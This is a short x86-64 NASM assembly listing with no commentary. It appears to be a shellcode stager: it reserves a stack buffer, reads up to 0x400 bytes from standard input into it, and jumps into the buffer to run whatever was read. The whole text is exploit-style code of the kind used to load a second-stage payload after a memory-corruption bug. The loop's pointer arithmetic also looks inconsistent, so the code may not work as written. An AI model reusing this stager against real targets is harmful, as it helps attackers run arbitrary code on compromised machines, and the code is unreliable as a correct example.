[BITS 64]

section .text
global _start
_start:

xor rdx, rdx
mov dh, 0x4

sub rsp, rdx

xor rdi, rdi
mov rsi, rsp

more:
xor rax, rax
syscall

sub rdx, rax
add rsi, rdx
cmp rdx, 0
jl more

jmp rsi